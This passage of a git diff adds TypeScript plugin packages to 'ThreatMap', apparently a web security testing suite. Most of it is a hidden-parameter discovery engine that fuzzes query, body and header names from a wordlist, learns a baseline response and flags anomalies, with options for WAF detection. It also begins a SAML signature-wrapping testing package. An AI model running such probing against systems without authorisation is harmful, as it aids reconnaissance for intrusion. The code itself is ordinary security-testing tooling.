+}); + +export type AddFileItemInput = z.infer; + +export const AddRequestsInputSchema = z.object({ + panel: z.enum(PANELS), + requestIds: z + .array(z.string()) + .min(1, "Select at least one request.") + .max( + MAX_REQUESTS_PER_ADD, + `Send at most ${MAX_REQUESTS_PER_ADD} requests at once.`, + ), +}); + +export type AddRequestsInput = z.infer; + +export const ItemSelectionSchema = z.object({ + panel: z.enum(PANELS), + ids: z.array(z.number().int().positive()).min(1, "Select at least one item."), +}); + +export type ItemSelection = z.infer; + +export const getOtherPanel = (panel: Panel): Panel => + panel === "original" ? "modified" : "original"; + +export const mapPanels = (build: (panel: Panel) => T): Record => ({ + original: build("original"), + modified: build("modified"), +}); + +const isHighSurrogate = (code: number): boolean => + code >= 0xd800 && code <= 0xdbff; + +const isLowSurrogate = (code: number): boolean => + code >= 0xdc00 && code <= 0xdfff; + +const measureCodeUnit = (code: number): number => { + if (code < 0x80) return 1; + if (code < 0x800) return 2; + return 3; +}; + +export const measureBytes = (text: string): number => { + let bytes = 0; + for (let index = 0; index < text.length; index += 1) { + const code = text.charCodeAt(index); + if (isHighSurrogate(code) && isLowSurrogate(text.charCodeAt(index + 1))) { + bytes += 4; + index += 1; + continue; + } + bytes += measureCodeUnit(code); + } + return bytes; +}; diff --git a/packages/plugins/compare/src/result.ts b/packages/plugins/compare/src/result.ts new file mode 100644 index 0000000..5522eb2 --- /dev/null +++ b/packages/plugins/compare/src/result.ts @@ -0,0 +1,10 @@ +export type Result = + { kind: "Ok"; value: T } | { kind: "Error"; error: string }; + +export function ok(value: T): Result { + return { kind: "Ok", value }; +} + +export function err(error: string): Result { + return { kind: "Error", error }; +} diff --git a/packages/plugins/compare/tsconfig.json b/packages/plugins/compare/tsconfig.json new file mode 100644 index 0000000..3977b85 --- /dev/null +++ b/packages/plugins/compare/tsconfig.json @@ -0,0 +1,7 @@ +{ + "extends": "../../../tsconfig.json", + "compilerOptions": { + "isolatedDeclarations": false + }, + "include": ["./src/**/*.ts"] +} diff --git a/packages/plugins/compare/tsdown.config.ts b/packages/plugins/compare/tsdown.config.ts new file mode 100644 index 0000000..8650aef --- /dev/null +++ b/packages/plugins/compare/tsdown.config.ts @@ -0,0 +1,13 @@ +import { defineConfig } from "tsdown"; + +export default defineConfig({ + entry: ["./src/index.ts"], + platform: "node", + format: "esm", + dts: true, + sourcemap: true, + clean: true, + deps: { + neverBundle: ["zod", "@threatmap/sdk-shared"], + }, +}); diff --git a/packages/plugins/paramfinder/README.md b/packages/plugins/paramfinder/README.md new file mode 100644 index 0000000..b0e510e --- /dev/null +++ b/packages/plugins/paramfinder/README.md @@ -0,0 +1,3 @@ +# @threatmap/paramfinder + +Specification for the ThreatMap ParamFinder plugin: hidden parameter discovery. diff --git a/packages/plugins/paramfinder/package.json b/packages/plugins/paramfinder/package.json new file mode 100644 index 0000000..e528406 --- /dev/null +++ b/packages/plugins/paramfinder/package.json @@ -0,0 +1,34 @@ +{ + "name": "@threatmap/paramfinder", + "version": "0.0.0", + "description": "Specification for the ThreatMap ParamFinder plugin", + "author": "ThreatCode", + "repository": "https://github.com/threatcode/threatmap", + "license": "MIT", + "type": "module", + "main": "./dist/index.mjs", + "types": "./dist/index.d.mts", + "exports": { + ".": { + "types": "./dist/index.d.mts", + "import": "./dist/index.mjs", + "default": "./dist/index.mjs" + } + }, + "files": [ + "dist" + ], + "scripts": { + "build": "tsdown", + "prepare": "pnpm run build", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@threatmap/sdk-shared": "workspace:*", + "zod": "4.3.6" + }, + "devDependencies": { + "tsdown": "0.20.1", + "@types/node": "22.10.2" + } +} diff --git a/packages/plugins/paramfinder/src/api.ts b/packages/plugins/paramfinder/src/api.ts new file mode 100644 index 0000000..80ade4b --- /dev/null +++ b/packages/plugins/paramfinder/src/api.ts @@ -0,0 +1,26 @@ +import type { EngineConfig } from "./config-schema.js"; +import type { Result } from "./result.js"; +import type { BaselineProfile, EngineRequest, Finding } from "./types.js"; + +export type SessionDescriptor = { + id: string; + state: string; + phase: string; +}; + +export type API = { + startMining: ( + target: EngineRequest, + config: EngineConfig, + ) => Promise>; + cancelSession: (id: string) => Promise>; + learn: ( + request: EngineRequest, + config: EngineConfig, + ) => Promise>; + discover: ( + request: EngineRequest, + words: string[], + config: EngineConfig, + ) => Promise>; +}; diff --git a/packages/plugins/paramfinder/src/config-schema.ts b/packages/plugins/paramfinder/src/config-schema.ts new file mode 100644 index 0000000..4c813b7 --- /dev/null +++ b/packages/plugins/paramfinder/src/config-schema.ts @@ -0,0 +1,66 @@ +import { z } from "zod"; + +import { parseJsonBodyPath } from "./json-body-path.js"; +import { AnomalyType, ATTACK_TYPES, PARAMETER_VALUE_TYPES } from "./types.js"; + +export const anomalyTypeSchema = z.enum(AnomalyType); + +export const engineConfigSchema = z + .object({ + attackType: z.enum(ATTACK_TYPES), + learnRequestsCount: z.number().int().min(3), + autoDetectMaxSize: z.boolean(), + maxQuerySize: z.number().int().positive().optional(), + maxHeaderSize: z.number().int().positive().optional(), + maxBodySize: z.number().int().positive().optional(), + updateContentLength: z.boolean(), + autopilotEnabled: z.boolean(), + addCacheBusterParameter: z.boolean(), + wafDetection: z.boolean(), + ignoreCloudflareBlocks: z.boolean(), + additionalChecks: z.boolean(), + ignoreAnomalyTypes: z.array(anomalyTypeSchema), + customValue: z.string().min(1).optional(), + customValueType: z.enum(PARAMETER_VALUE_TYPES), + jsonBodyPath: z.string().min(1).optional(), + maxParametersAmount: z.number().int().positive().optional(), + }) + .superRefine((value, ctx) => { + const hasExplicitMaxSize = + value.maxQuerySize !== undefined || + value.maxHeaderSize !== undefined || + value.maxBodySize !== undefined; + + if (value.autoDetectMaxSize && hasExplicitMaxSize) { + ctx.addIssue({ + code: "custom", + message: + "Cannot set explicit max size values when autoDetectMaxSize is enabled", + }); + } + + if ( + value.customValueType === "integer" && + value.customValue !== undefined + ) { + ctx.addIssue({ + code: "custom", + message: "Cannot set customValue when customValueType is integer", + }); + } + + if (value.jsonBodyPath !== undefined) { + try { + parseJsonBodyPath(value.jsonBodyPath); + } catch { + ctx.addIssue({ + code: "custom", + path: ["jsonBodyPath"], + message: "Invalid JSON body path", + }); + } + } + }); + +export type EngineConfig = z.infer; +export type EngineConfigInput = Partial; diff --git a/packages/plugins/paramfinder/src/config.ts b/packages/plugins/paramfinder/src/config.ts new file mode 100644 index 0000000..7ef8aad --- /dev/null +++ b/packages/plugins/paramfinder/src/config.ts @@ -0,0 +1,32 @@ +import type { EngineConfig } from "./config-schema.js"; +import { engineConfigSchema } from "./config-schema.js"; +import type { Result } from "./result.js"; +import type { EngineLearnInput, EngineRunInput } from "./types.js"; + +export function parseEngineConfig(input: unknown): Result { + const parsed = engineConfigSchema.safeParse(input); + if (parsed.success) return { kind: "Ok", value: parsed.data }; + return { + kind: "Error", + error: parsed.error.issues[0]?.message ?? "Invalid engine config.", + }; +} + +export function parseEngineRunInput( + input: EngineRunInput, +): Result { + const config = parseEngineConfig(input.engineConfig); + if (config.kind === "Error") return config; + if (!Array.isArray(input.words) || input.words.length === 0) { + return { kind: "Error", error: "At least one word is required." }; + } + return { kind: "Ok", value: { ...input, engineConfig: config.value } }; +} + +export function parseEngineLearnInput( + input: EngineLearnInput, +): Result { + const config = parseEngineConfig(input.engineConfig); + if (config.kind === "Error") return config; + return { kind: "Ok", value: { ...input, engineConfig: config.value } }; +} diff --git a/packages/plugins/paramfinder/src/detect-anomaly.ts b/packages/plugins/paramfinder/src/detect-anomaly.ts new file mode 100644 index 0000000..f8dba17 --- /dev/null +++ b/packages/plugins/paramfinder/src/detect-anomaly.ts @@ -0,0 +1,133 @@ +import type { Anomaly, EngineResponse, Parameter } from "./types.js"; +import { AnomalyType } from "./types.js"; +import { + buildFragmentCounts, + countOccurrences, + getFirstHeaderValue, + getHeaderValues, + normalizeHeaderName, + sampleBody, + similarityFromFragmentCounts, +} from "./utils.js"; + +export type AnomalyOptions = { + similarityThreshold?: number; + bodyLengthDeltaRatio?: number; + parameterValue?: string; +}; + +const DEFAULT_SIMILARITY_THRESHOLD = 0.9; +const DEFAULT_BODY_LENGTH_DELTA_RATIO = 0.2; + +export function similarity(a: EngineResponse, bBody: string): number { + if (a.body === bBody) return 1; + const reference = sampleBody(a.body).toLowerCase(); + return similarityFromFragmentCounts( + buildFragmentCounts(reference), + reference.length, + sampleBody(bBody), + ); +} + +export function detectAnomalies( + reference: EngineResponse, + response: EngineResponse, + options: AnomalyOptions = {}, +): Anomaly[] { + const anomalies: Anomaly[] = []; + + if (response.status !== reference.status) { + anomalies.push({ + type: AnomalyType.StatusCode, + from: reference.status, + to: response.status, + }); + } + + const referenceLocation = getFirstHeaderValue(reference.headers, "location"); + const responseLocation = getFirstHeaderValue(response.headers, "location"); + if (referenceLocation !== responseLocation) { + anomalies.push({ + type: AnomalyType.Redirect, + from: referenceLocation, + to: responseLocation, + }); + } + + if (options.parameterValue !== undefined) { + const from = countOccurrences(reference.body, options.parameterValue); + const to = countOccurrences(response.body, options.parameterValue); + if (from !== to) { + anomalies.push({ + type: AnomalyType.ReflectionCount, + parameterName: "unknown", + from, + to, + }); + } + } + + const headerNames = new Set([ + ...Object.keys(reference.headers).map(normalizeHeaderName), + ...Object.keys(response.headers).map(normalizeHeaderName), + ]); + for (const name of headerNames) { + const from = getHeaderValues(reference.headers, name); + const to = getHeaderValues(response.headers, name); + if (from.join("\n") !== to.join("\n")) { + anomalies.push({ + type: AnomalyType.Headers, + headerName: name, + from: from.length > 0 ? from : undefined, + to: to.length > 0 ? to : undefined, + }); + } + } + + const lengthDeltaRatio = + reference.body.length === 0 + ? response.body.length > 0 + ? 1 + : 0 + : Math.abs(response.body.length - reference.body.length) / + reference.body.length; + if ( + lengthDeltaRatio > + (options.bodyLengthDeltaRatio ?? DEFAULT_BODY_LENGTH_DELTA_RATIO) + ) { + anomalies.push({ + type: AnomalyType.Body, + check: "length", + from: reference.body.length, + to: response.body.length, + }); + } + + const score = similarity(reference, response.body); + const threshold = options.similarityThreshold ?? DEFAULT_SIMILARITY_THRESHOLD; + if (score < threshold) { + anomalies.push({ + type: AnomalyType.Similarity, + similarity: score, + threshold, + }); + } + + return anomalies; +} + +export function detectReflectionAnomaly( + reference: EngineResponse, + parameter: Parameter, + response: EngineResponse, +): Anomaly | undefined { + const from = countOccurrences(reference.body, parameter.value); + const to = countOccurrences(response.body, parameter.value); + if (from === to) return undefined; + return { + type: AnomalyType.ReflectionCount, + parameterName: parameter.name, + from, + to, + }; +} diff --git a/packages/plugins/paramfinder/src/discovery.ts b/packages/plugins/paramfinder/src/discovery.ts new file mode 100644 index 0000000..d7ac5c8 --- /dev/null +++ b/packages/plugins/paramfinder/src/discovery.ts @@ -0,0 +1,143 @@ +import type { + Anomaly, + AttackType, + Parameter, + ParameterValueType, +} from "./types.js"; +import { AnomalyType } from "./types.js"; +import { randomString } from "./utils.js"; + +export const DEFAULT_HEADER_CHUNK_SIZE = 20; +const DEFAULT_QUERY_CHUNK_BYTES = 2048; +const PARAMETER_VALUE_LENGTH = 8; + +export type NextChunkInput = { + words: string[]; + startIndex: number; + attackType: AttackType; + maxSize?: number; + customValue?: string; + customValueType?: ParameterValueType; + random?: () => number; +}; + +export type NextChunkResult = { + parameters: Parameter[]; + nextIndex: number; +}; + +export function getNextChunk(input: NextChunkInput): NextChunkResult { + const random = input.random ?? Math.random; + switch (input.attackType) { + case "headers": + return chunkHeaders(input, random); + case "query": + return chunkQuery(input, random); + case "body": + return chunkBody(input, random); + } +} + +const buildParameters = (names: string[], value: string): Parameter[] => + names.map((name) => ({ name, value })); + +function chunkHeaders( + input: NextChunkInput, + random: () => number, +): NextChunkResult { + const value = createParameterValue( + input.customValue, + input.customValueType, + random, + ); + const slice = input.words.slice( + input.startIndex, + input.startIndex + DEFAULT_HEADER_CHUNK_SIZE, + ); + return { + parameters: buildParameters(slice, value), + nextIndex: input.startIndex + slice.length, + }; +} + +function chunkQuery( + input: NextChunkInput, + random: () => number, +): NextChunkResult { + const budget = input.maxSize ?? DEFAULT_QUERY_CHUNK_BYTES; + const parameters: Parameter[] = []; + let used = 0; + let index = input.startIndex; + while (index < input.words.length) { + const value = createParameterValue( + input.customValue, + input.customValueType, + random, + ); + const entry = `${input.words[index]}=${encodeURIComponent(value)}&`; + if (used + entry.length > budget && parameters.length > 0) break; + parameters.push({ name: input.words[index]!, value }); + used += entry.length; + index += 1; + } + return { parameters, nextIndex: index }; +} + +function chunkBody( + input: NextChunkInput, + random: () => number, +): NextChunkResult { + const budget = input.maxSize ?? DEFAULT_QUERY_CHUNK_BYTES; + const parameters: Parameter[] = []; + let used = 0; + let index = input.startIndex; + while (index < input.words.length) { + const value = createParameterValue( + input.customValue, + input.customValueType, + random, + ); + const entry = `${input.words[index]}=${encodeURIComponent(value)}&`; + if (used + entry.length > budget && parameters.length > 0) break; + parameters.push({ name: input.words[index]!, value }); + used += entry.length; + index += 1; + } + return { parameters, nextIndex: index }; +} + +export function splitChunk( + parameters: Parameter[], +): [Parameter[], Parameter[]] { + const middle = Math.floor(parameters.length / 2); + return [parameters.slice(0, middle), parameters.slice(middle)]; +} + +export function createParameterValue( + customValue: string | undefined, + customValueType: ParameterValueType | undefined, + random: () => number = Math.random, +): string { + if (customValueType === "integer") { + return String(Math.floor(random() * 10_000_000) + 1); + } + const suffix = randomString(PARAMETER_VALUE_LENGTH, random); + return customValue !== undefined ? `${customValue}${suffix}` : suffix; +} + +export function describeAnomalyReason(anomaly: Anomaly): string { + switch (anomaly.type) { + case AnomalyType.Body: + return "response body changed"; + case AnomalyType.Headers: + return "response headers changed"; + case AnomalyType.StatusCode: + return "status code changed"; + case AnomalyType.Redirect: + return "redirect target changed"; + case AnomalyType.ReflectionCount: + return "parameter reflection count changed"; + case AnomalyType.Similarity: + return "response similarity dropped"; + } +} diff --git a/packages/plugins/paramfinder/src/events.ts b/packages/plugins/paramfinder/src/events.ts new file mode 100644 index 0000000..0e1ae3e --- /dev/null +++ b/packages/plugins/paramfinder/src/events.ts @@ -0,0 +1,42 @@ +import type { + BaselineProfile, + EnginePhase, + EngineRequestResponse, + EngineRunSummary, + EngineState, + Finding, + LoggerLevel, + RequestContext, +} from "./types.js"; + +export type DiscoveryEvent = + | { + type: "state"; + state: EngineState; + phase: EnginePhase; + } + | { + type: "log"; + level: LoggerLevel; + message: string; + } + | { + type: "request"; + parametersSent: number; + parametersTested: number; + context: RequestContext; + requestResponse: EngineRequestResponse; + } + | { + type: "finding"; + finding: Finding; + } + | { + type: "adjustTotalParameters"; + totalParametersAmount: number; + } + | { + type: "learnedProfile"; + profile: BaselineProfile; + } + | ({ type: "completed" } & EngineRunSummary); diff --git a/packages/plugins/paramfinder/src/index.ts b/packages/plugins/paramfinder/src/index.ts new file mode 100644 index 0000000..9a0ed20 --- /dev/null +++ b/packages/plugins/paramfinder/src/index.ts @@ -0,0 +1,124 @@ +import type { DefinePluginPackageSpec } from "@threatmap/sdk-shared"; + +import type { API } from "./api.js"; +import type { DiscoveryEvent } from "./events.js"; + +export { type Result, ok, err } from "./result.js"; + +export { + ATTACK_TYPES, + REQUEST_CONTEXTS, + INSPECTABLE_BODY_KINDS, + MUTABLE_BODY_KINDS, + PARAMETER_VALUE_TYPES, + AttackType, + type AttackType as AttackTypeValue, + type RequestContext, + type InspectableBodyKind, + type MutableBodyKind, + type ParameterValueType, + type HeaderMap, + type EngineRequest, + type EngineResponse, + type EngineRequestResponse, + type Parameter, + AnomalyType, + type Anomaly, + type AnomalyType as AnomalyTypeValue, + type StatusCodeAnomaly, + type RedirectAnomaly, + type HeadersAnomaly, + type ReflectionCountAnomaly, + type BodyLengthAnomaly, + type BodyContentAnomaly, + type SimilarityAnomaly, + type Finding, + type AdditionalChecksResult, + type StableFactors, + type BaselineProfile, + EngineState, + type EngineState as EngineStateValue, + EnginePhase, + type EnginePhase as EnginePhaseValue, + type LoggerLevel, + type LoggerFn, + type RunOptions, + type EngineLearnInput, + type EngineDiscoverInput, + type EngineRunInput, + type EngineRunResult, + type EngineRunSummary, + type RunControl, +} from "./types.js"; + +export { engineConfigSchema, type EngineConfig } from "./config-schema.js"; +export type { EngineConfigInput } from "./config-schema.js"; +export { + parseEngineConfig, + parseEngineRunInput, + parseEngineLearnInput, +} from "./config.js"; +export { type DiscoveryEvent } from "./events.js"; + +export { + getNextChunk, + splitChunk, + createParameterValue, + describeAnomalyReason, + DEFAULT_HEADER_CHUNK_SIZE, + type NextChunkInput, + type NextChunkResult, +} from "./discovery.js"; +export { + detectAnomalies, + detectReflectionAnomaly, + similarity, + type AnomalyOptions, +} from "./detect-anomaly.js"; +export { + parseJsonBodyPath, + appendJsonBodyPath, + formatJsonBodyPath, + isInjectableJsonBodyPath, + resolveJsonBodyPath, + type JsonBodyPathSegment, +} from "./json-body-path.js"; +export { + randomString, + sampleBody, + splitLines, + countOccurrences, + buildFragmentCounts, + similarityFromFragmentCounts, + hasHeader, + headerValuesEqual, + getHeaderValues, + getFirstHeaderValue, +} from "./utils.js"; + +export { anomalyTypeSchema } from "./config-schema.js"; + +export type { + SleepFn, + RandomSource, + EngineLearnResult, + EngineDiscoverResult, + EngineRunSummaryBase, + EngineCompletedRunResult, + EngineCanceledRunResult, + EngineTimeoutRunResult, + EngineFailedRunResult, +} from "./types.js"; + +export type Events = { + "mining:event": (event: DiscoveryEvent) => void; +}; + +export type Spec = DefinePluginPackageSpec<{ + manifestId: "paramfinder"; + api: API; + events: Events; +}>; + +export type { API } from "./api.js"; +export type { SessionDescriptor } from "./api.js"; diff --git a/packages/plugins/paramfinder/src/json-body-path.ts b/packages/plugins/paramfinder/src/json-body-path.ts new file mode 100644 index 0000000..a1c2740 --- /dev/null +++ b/packages/plugins/paramfinder/src/json-body-path.ts @@ -0,0 +1,70 @@ +export type JsonBodyPathSegment = string | number; + +export function parseJsonBodyPath( + path: string, +): readonly JsonBodyPathSegment[] { + const normalized = path.replace(/^\$\.?/, ""); + const segments: JsonBodyPathSegment[] = []; + for (const part of normalized.split(".")) { + if (part.length === 0) continue; + const match = /^([^[]+)((?:\[\d+\])*)$/.exec(part); + if (match === null) { + throw new Error(`Invalid JSON body path segment: ${part}`); + } + segments.push(match[1]!); + for (const index of match[2]!.matchAll(/\[(\d+)\]/g)) { + segments.push(Number.parseInt(index[1]!, 10)); + } + } + if (segments.length === 0) { + throw new Error("Invalid JSON body path: empty"); + } + return segments; +} + +export function appendJsonBodyPath( + base: string | undefined, + segment: string | number, +): string { + const next = base ?? ""; + if (typeof segment === "number") return `${next}[${segment}]`; + if (next === "") return segment; + return `${next}.${segment}`; +} + +export function formatJsonBodyPath( + segments: readonly JsonBodyPathSegment[], +): string { + return segments + .map((segment, index) => + typeof segment === "number" + ? `[${segment}]` + : index === 0 + ? segment + : `.${segment}`, + ) + .join(""); +} + +export function isInjectableJsonBodyPath( + segments: readonly JsonBodyPathSegment[], +): boolean { + return segments.length > 0; +} + +export function resolveJsonBodyPath( + body: unknown, + segments: readonly JsonBodyPathSegment[], +): unknown { + let current: unknown = body; + for (const segment of segments) { + if (current === null || typeof current !== "object") return undefined; + if (typeof segment === "number") { + if (!Array.isArray(current)) return undefined; + current = current[segment]; + } else { + current = (current as Record)[segment]; + } + } + return current; +} diff --git a/packages/plugins/paramfinder/src/result.ts b/packages/plugins/paramfinder/src/result.ts new file mode 100644 index 0000000..5522eb2 --- /dev/null +++ b/packages/plugins/paramfinder/src/result.ts @@ -0,0 +1,10 @@ +export type Result = + { kind: "Ok"; value: T } | { kind: "Error"; error: string }; + +export function ok(value: T): Result { + return { kind: "Ok", value }; +} + +export function err(error: string): Result { + return { kind: "Error", error }; +} diff --git a/packages/plugins/paramfinder/src/types.ts b/packages/plugins/paramfinder/src/types.ts new file mode 100644 index 0000000..18bfb8b --- /dev/null +++ b/packages/plugins/paramfinder/src/types.ts @@ -0,0 +1,282 @@ +import type { EngineConfig } from "./config-schema.js"; +import type { DiscoveryEvent } from "./events.js"; +export type RunControl = { paused: boolean; canceled: boolean }; + +export type { EngineConfig } from "./config-schema.js"; + +export const ATTACK_TYPES = ["query", "body", "headers"] as const; +export const REQUEST_CONTEXTS = ["discovery", "narrower", "learning"] as const; +export const INSPECTABLE_BODY_KINDS = [ + "json", + "urlencoded", + "multipart", + "text", +] as const; +export const MUTABLE_BODY_KINDS = ["json", "urlencoded", "multipart"] as const; +export const PARAMETER_VALUE_TYPES = ["string", "integer"] as const; + +export const AttackType = { + Query: ATTACK_TYPES[0], + Body: ATTACK_TYPES[1], + Headers: ATTACK_TYPES[2], +} as const; + +export type AttackType = (typeof AttackType)[keyof typeof AttackType]; +export type RequestContext = (typeof REQUEST_CONTEXTS)[number]; +export type InspectableBodyKind = (typeof INSPECTABLE_BODY_KINDS)[number]; +export type MutableBodyKind = (typeof MUTABLE_BODY_KINDS)[number]; +export type ParameterValueType = (typeof PARAMETER_VALUE_TYPES)[number]; +export type HeaderMap = Record; + +export interface EngineRequest { + id: string; + host: string; + port: number; + url: string; + path: string; + query: string; + method: string; + headers: HeaderMap; + body: string; + tls: boolean; + raw: string; + context: RequestContext; +} + +export interface EngineResponse { + status: number; + headers: HeaderMap; + body: string; + time: number; + length: number; + raw?: string; +} + +export interface EngineRequestResponse { + request: EngineRequest; + response: EngineResponse; +} + +export interface Parameter { + name: string; + value: string; +} + +export const AnomalyType = { + StatusCode: "status-code", + Headers: "headers", + ReflectionCount: "reflection_count", + Body: "body", + Redirect: "redirect", + Similarity: "similarity", +} as const; + +export type AnomalyType = (typeof AnomalyType)[keyof typeof AnomalyType]; + +export interface StatusCodeAnomaly { + type: typeof AnomalyType.StatusCode; + from: number; + to: number; +} + +export interface RedirectAnomaly { + type: typeof AnomalyType.Redirect; + from?: string; + to?: string; +} + +export interface HeadersAnomaly { + type: typeof AnomalyType.Headers; + headerName: string; + from?: string[]; + to?: string[]; +} + +export interface ReflectionCountAnomaly { + type: typeof AnomalyType.ReflectionCount; + parameterName: string; + from: number; + to: number; +} + +export interface BodyLengthAnomaly { + type: typeof AnomalyType.Body; + check: "length"; + from: number; + to: number; +} + +export interface BodyContentAnomaly { + type: typeof AnomalyType.Body; + check: "content"; + expectedDiffCount: number; + actualDiffCount: number; +} + +export interface SimilarityAnomaly { + type: typeof AnomalyType.Similarity; + similarity: number; + threshold: number; +} + +export type Anomaly = + | StatusCodeAnomaly + | RedirectAnomaly + | HeadersAnomaly + | ReflectionCountAnomaly + | BodyLengthAnomaly + | BodyContentAnomaly + | SimilarityAnomaly; + +export interface Finding { + requestResponse: EngineRequestResponse; + parameter: Parameter; + anomaly: Anomaly; +} + +export interface AdditionalChecksResult { + handlesSpecialCharacters: boolean; + handlesEncodedSpecialCharacters: boolean; +} + +export interface StableFactors { + bodyStable: boolean; + bodyLengthStable: boolean; + statusCodeStable: boolean; + reflectionStable: boolean; + similarityStable: boolean; + redirectStable: boolean; + reflectionsCount: number; + unstableHeaders: string[]; + redirect?: string; +} + +export interface BaselineProfile { + initialRequestResponse: EngineRequestResponse; + stableFactors: StableFactors; + bodyDiffReferenceCount: number; + wafResponse?: EngineResponse; + additionalChecks?: AdditionalChecksResult; + maxSize?: number; + bodyKind?: InspectableBodyKind; + multipartBoundary?: string; +} + +export const EngineState = { + Pending: "pending", + Learning: "learning", + Running: "running", + Completed: "completed", + Error: "error", + Paused: "paused", + Canceled: "canceled", + Timeout: "timeout", +} as const; + +export type EngineState = (typeof EngineState)[keyof typeof EngineState]; + +export const EnginePhase = { + Learning: "learning", + Discovery: "discovery", + Idle: "idle", +} as const; + +export type EnginePhase = (typeof EnginePhase)[keyof typeof EnginePhase]; + +export type LoggerLevel = "debug" | "info" | "warn" | "error"; +export type LoggerFn = (level: LoggerLevel, message: string) => void; +export type SleepFn = (ms: number, signal?: AbortSignal) => Promise; +export type RandomSource = () => number; + +export interface RunOptions { + delayMs?: number; + requestTimeoutMs?: number; + timeoutMs?: number; + signal?: AbortSignal; + runControl?: RunControl; + onEvent?: (event: DiscoveryEvent) => void; +} + +export interface EngineLearnInput { + request: EngineRequest; + engineConfig: EngineConfig; + runOptions?: RunOptions; +} + +export interface EngineDiscoverInput { + request: EngineRequest; + words: string[]; + engineConfig: EngineConfig; + profile: BaselineProfile; + runOptions?: RunOptions; +} + +export interface EngineRunInput { + request: EngineRequest; + words: string[]; + engineConfig: EngineConfig; + runOptions?: RunOptions; +} + +export interface EngineLearnResult { + profile: BaselineProfile; +} + +export interface EngineDiscoverResult { + findings: Finding[]; + totalParametersAmount: number; +} + +export interface EngineRunSummaryBase { + findings: Finding[]; + totalParametersAmount: number; +} + +export interface EngineCompletedRunSummary extends EngineRunSummaryBase { + state: typeof EngineState.Completed; + phase: typeof EnginePhase.Discovery; +} + +export interface EngineCanceledRunSummary extends EngineRunSummaryBase { + state: typeof EngineState.Canceled; + phase: typeof EnginePhase.Learning | typeof EnginePhase.Discovery; +} + +export interface EngineTimeoutRunSummary extends EngineRunSummaryBase { + state: typeof EngineState.Timeout; + phase: typeof EnginePhase.Learning | typeof EnginePhase.Discovery; +} + +export interface EngineFailedRunSummary extends EngineRunSummaryBase { + state: typeof EngineState.Error; + phase: typeof EnginePhase.Learning | typeof EnginePhase.Discovery; + failureReason: string; +} + +export type EngineRunSummary = + | EngineCompletedRunSummary + | EngineCanceledRunSummary + | EngineTimeoutRunSummary + | EngineFailedRunSummary; + +export interface EngineCompletedRunResult extends EngineCompletedRunSummary { + profile: BaselineProfile; +} + +export interface EngineCanceledRunResult extends EngineCanceledRunSummary { + profile?: BaselineProfile; +} + +export interface EngineTimeoutRunResult extends EngineTimeoutRunSummary { + profile?: BaselineProfile; +} + +export interface EngineFailedRunResult extends EngineFailedRunSummary { + profile?: BaselineProfile; +} + +export type EngineRunResult = + | EngineCompletedRunResult + | EngineCanceledRunResult + | EngineTimeoutRunResult + | EngineFailedRunResult; diff --git a/packages/plugins/paramfinder/src/utils.ts b/packages/plugins/paramfinder/src/utils.ts new file mode 100644 index 0000000..5a15a37 --- /dev/null +++ b/packages/plugins/paramfinder/src/utils.ts @@ -0,0 +1,83 @@ +const SAMPLE_BODY_LENGTH = 64 * 1024; + +export const randomString = ( + length: number, + random: () => number = Math.random, +): string => { + const alphabet = "abcdefghijklmnopqrstuvwxyz0123456789"; + let out = ""; + for (let i = 0; i < length; i += 1) { + out += alphabet[Math.floor(random() * alphabet.length)]!; + } + return out; +}; + +export const sampleBody = (body: string): string => + body.length > SAMPLE_BODY_LENGTH ? body.slice(0, SAMPLE_BODY_LENGTH) : body; + +export const splitLines = (text: string): string[] => + text.replace(/\r\n/g, "\n").split("\n"); + +export const countOccurrences = (haystack: string, needle: string): number => { + if (needle.length === 0) return 0; + let count = 0; + let index = 0; + while ((index = haystack.indexOf(needle, index)) !== -1) { + count += 1; + index += needle.length; + } + return count; +}; + +export const buildFragmentCounts = (text: string): Map => { + const counts = new Map(); + for (let i = 0; i < text.length; i += 1) { + const fragment = text.slice(i, i + 4); + counts.set(fragment, (counts.get(fragment) ?? 0) + 1); + } + return counts; +}; + +export const similarityFromFragmentCounts = ( + referenceCounts: Map, + referenceLength: number, + candidate: string, +): number => { + if (referenceLength === 0 && candidate.length === 0) return 1; + const candidateCounts = buildFragmentCounts(candidate.toLowerCase()); + let overlap = 0; + for (const [fragment, count] of candidateCounts) { + overlap += Math.min(count, referenceCounts.get(fragment) ?? 0); + } + const total = Math.max(referenceLength, candidate.length); + return total === 0 ? 1 : overlap / total; +}; + +export const getFirstHeaderValue = ( + headers: Record, + name: string, +): string | undefined => { + const values = headers[normalizeHeaderName(name)] ?? headers[name]; + return values?.[0]; +}; + +export const hasHeader = ( + headers: Record, + name: string, +): boolean => getFirstHeaderValue(headers, name) !== undefined; + +export const getHeaderValues = ( + headers: Record, + name: string, +): string[] => headers[normalizeHeaderName(name)] ?? headers[name] ?? []; + +export const headerValuesEqual = ( + a: string[] | undefined, + b: string[] | undefined, +): boolean => + a !== undefined && + b !== undefined && + a.length === b.length && + a.every((value, index) => value === b[index]); + +export const normalizeHeaderName = (name: string): string => name.toLowerCase(); diff --git a/packages/plugins/paramfinder/tsconfig.json b/packages/plugins/paramfinder/tsconfig.json new file mode 100644 index 0000000..3977b85 --- /dev/null +++ b/packages/plugins/paramfinder/tsconfig.json @@ -0,0 +1,7 @@ +{ + "extends": "../../../tsconfig.json", + "compilerOptions": { + "isolatedDeclarations": false + }, + "include": ["./src/**/*.ts"] +} diff --git a/packages/plugins/paramfinder/tsdown.config.ts b/packages/plugins/paramfinder/tsdown.config.ts new file mode 100644 index 0000000..8650aef --- /dev/null +++ b/packages/plugins/paramfinder/tsdown.config.ts @@ -0,0 +1,13 @@ +import { defineConfig } from "tsdown"; + +export default defineConfig({ + entry: ["./src/index.ts"], + platform: "node", + format: "esm", + dts: true, + sourcemap: true, + clean: true, + deps: { + neverBundle: ["zod", "@threatmap/sdk-shared"], + }, +}); diff --git a/packages/plugins/saml-raider/README.md b/packages/plugins/saml-raider/README.md new file mode 100644 index 0000000..0242d2c --- /dev/null +++ b/packages/plugins/saml-raider/README.md @@ -0,0 +1,3 @@ +# @threatmap/saml-raider + +Specification for the ThreatMap SAML Raider plugin: SAML message inspection, signature testing and XML Signature Wrapping attacks. diff --git a/packages/plugins/saml-raider/package.json b/packages/plugins/saml-raider/package.json new file mode 100644 index 0000000..43b1746 --- /dev/null +++ b/packages/plugins/saml-raider/package.json @@ -0,0 +1,34 @@ +{ + "name": "@threatmap/saml-raider", + "version": "0.0.0", + "description": "Specification for the ThreatMap SAML Raider plugin", + "author": "ThreatCode", + "repository": "https://github.com/threatcode/threatmap", + "license": "MIT", + "type": "module", + "main": "./dist/index.mjs", + "types": "./dist/index.d.mts", + 